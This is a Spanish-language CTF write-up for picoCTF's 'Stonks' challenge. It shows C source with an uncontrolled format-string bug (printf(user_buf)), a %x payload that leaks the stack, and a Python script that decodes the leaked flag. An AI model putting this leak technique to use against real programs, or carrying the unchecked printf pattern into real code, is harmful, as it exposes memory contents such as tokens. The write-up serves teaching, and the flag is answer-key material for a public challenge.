Stonks


July 2, 20253 minutes

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <time.h>

#define FLAG_BUFFER 128
#define MAX_SYM_LEN 4

typedef struct Stonks {
	int shares;
	char symbol[MAX_SYM_LEN + 1];
	struct Stonks *next;
} Stonk;

typedef struct Portfolios {
	int money;
	Stonk *head;
} Portfolio;

int view_portfolio(Portfolio *p) {
	if (!p) {
		return 1;
	}
	printf("\nPortfolio as of ");
	fflush(stdout);
	system("date"); // TODO: implement this in C
	fflush(stdout);

	printf("\n\n");
	Stonk *head = p->head;
	if (!head) {
		printf("You don't own any stonks!\n");
	}
	while (head) {
		printf("%d shares of %s\n", head->shares, head->symbol);
		head = head->next;
	}
	return 0;
}

Stonk *pick_symbol_with_AI(int shares) {
	if (shares < 1) {
		return NULL;
	}
	Stonk *stonk = malloc(sizeof(Stonk));
	stonk->shares = shares;

	int AI_symbol_len = (rand() % MAX_SYM_LEN) + 1;
	for (int i = 0; i <= MAX_SYM_LEN; i++) {
		if (i < AI_symbol_len) {
			stonk->symbol[i] = 'A' + (rand() % 26);
		} else {
			stonk->symbol[i] = '\0';
		}
	}

	stonk->next = NULL;

	return stonk;
}

int buy_stonks(Portfolio *p) {
	if (!p) {
		return 1;
	}
	char api_buf[FLAG_BUFFER];
	FILE *f = fopen("api","r");
	if (!f) {
		printf("Flag file not found. Contact an admin.\n");
		exit(1);
	}
	fgets(api_buf, FLAG_BUFFER, f);

	int money = p->money;
	int shares = 0;
	Stonk *temp = NULL;
	printf("Using patented AI algorithms to buy stonks\n");
	while (money > 0) {
		shares = (rand() % money) + 1;
		temp = pick_symbol_with_AI(shares);
		temp->next = p->head;
		p->head = temp;
		money -= shares;
	}
	printf("Stonks chosen\n");

	// TODO: Figure out how to read token from file, for now just ask

	char *user_buf = malloc(300 + 1);
	printf("What is your API token?\n");
	scanf("%300s", user_buf);
	printf("Buying stonks with token:\n");
	printf(user_buf);

	// TODO: Actually use key to interact with API

	view_portfolio(p);

	return 0;
}

Portfolio *initialize_portfolio() {
	Portfolio *p = malloc(sizeof(Portfolio));
	p->money = (rand() % 2018) + 1;
	p->head = NULL;
	return p;
}

void free_portfolio(Portfolio *p) {
	Stonk *current = p->head;
	Stonk *next = NULL;
	while (current) {
		next = current->next;
		free(current);
		current = next;
	}
	free(p);
}

int main(int argc, char *argv[])
{
	setbuf(stdout, NULL);
	srand(time(NULL));
	Portfolio *p = initialize_portfolio();
	if (!p) {
		printf("Memory failure\n");
		exit(1);
	}

	int resp = 0;

	printf("Welcome back to the trading app!\n\n");
	printf("What would you like to do?\n");
	printf("1) Buy some stonks!\n");
	printf("2) View my portfolio\n");
	scanf("%d", &resp);

	if (resp == 1) {
		buy_stonks(p);
	} else if (resp == 2) {
		view_portfolio(p);
	}

	free_portfolio(p);
	printf("Goodbye!\n");

	exit(0);
}

Hay una vulnerabilidad format strings en printf(user_buf); ya que se está imprimiendo el input del usuario sin especificar el tipo, y como la flag se está guardando en el stack se puede intentar leer.

Welcome back to the trading app!

What would you like to do?
1) Buy some stonks!
2) View my portfolio
1
Using patented AI algorithms to buy stonks
Stonks chosen
What is your API token?
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
Buying stonks with token:
8ffb3b0804b00080489c3f7f41d80ffffffff18ff9160f7f4f110f7f41dc708ffa180148ffb3908ffb3b06f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e6263376365616336ff87007df7f7caf8f7f4f440919b100010f7ddece9f7f500c0f7f415c0f7f41000ff8752f8f7dcf68df7f415c08048ecaff8753040f7f63f09804b000f7f41000f7f41e20ff875338f7f69d50f7f42890919b1000f7f41000804b000ff8753388048c868ff9160ff875324ff8753388048be9f7f413fc0ff8753ecff8753e4118ff9160919b1000ff87535000f7d84fa1f7f41000f7f410000f7d84fa11ff8753e4ff8753ecff87537410f7f41000f7f6470af7f7c000
Portfolio as of Tue Jul  1 10:05:21 UTC 2025


20 shares of JTA
29 shares of Z
161 shares of WBP
99 shares of FE
151 shares of B
199 shares of IEV
Goodbye!

Para pasar de hex a str se puede hacer con pwntools

pwn unhex 8757370804b00080489c3f7f74d80ffffffff18755160f7f82110f7f74dc7087561807875735087573706f6369707b465443306c5f49345f74356d5f6c6c306d5f795f79336e6263376365616336ffbb007df7fafaf8f7f8244019a85e0010f7e11ce9f7f830c0f7f745c0f7f74000ffbb4448f7e0268df7f745c08048ecaffbb44540f7f96f09804b000f7f74000f7f74e20ffbb4488f7f9cd50f7f7589019a85e00f7f74000804b000ffbb44888048c868755160ffbb4474ffbb44888048be9f7f743fc0ffbb453cffbb453411875516019a85e00ffbb44a000f7db7fa1f7f74000f7f740000f7db7fa11ffbb4534ffbb453cffbb44c410f7f74000f7f9770af7faf0000f7f7400000d0eaf329109d7539000180486300f7f9cd50f7f97960804b00018048630080486628048b851ffbb45348048cd08048d30f7f97960ffbb452cf7faf9401ffbb5e780ffbb5eb1ffbb5ebeffbb5ec7ffbb5ef6ffbb5f2effbb5f4affbb5f6bffbb5f73020f7f87b5021f7f87000101f8bfbff610001164380480344
�W��H�?t�����U�t�p�V�Wuspocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6��}������$@�^�����0���E���@��DH��&���E��H���E@��o	�Ktt���H���u�������D��H�huQ`��Dt��D��H��t?���E<��E4�U�����J}��tt�����SO��S���LAt�p����@���)�u9�Hc���P��y`�K�Hc�Hf(����SH�ЀH�����R�����^x�������������o���������������0 ��{P!��p���aC�HD

Ya tenemos la flag, pero hay que formatearla bien, ya que está en little endian

flag = "ocip{FTC0l_I4_t5m_ll0m_y_y3nbc7ceac6��}"
final = ""
for i in range(0, len(flag), 4):
    r = flag[i:i+4]
    r = r[::-1]
    final += r
    print(final)
$ python3 r.py 

pico
picoCTF{
picoCTF{I_l0
picoCTF{I_l05t_4
picoCTF{I_l05t_4ll_m
picoCTF{I_l05t_4ll_my_m0
picoCTF{I_l05t_4ll_my_m0n3y_
picoCTF{I_l05t_4ll_my_m0n3y_c7cb
picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae
picoCTF{I_l05t_4ll_my_m0n3y_c7cb6cae}��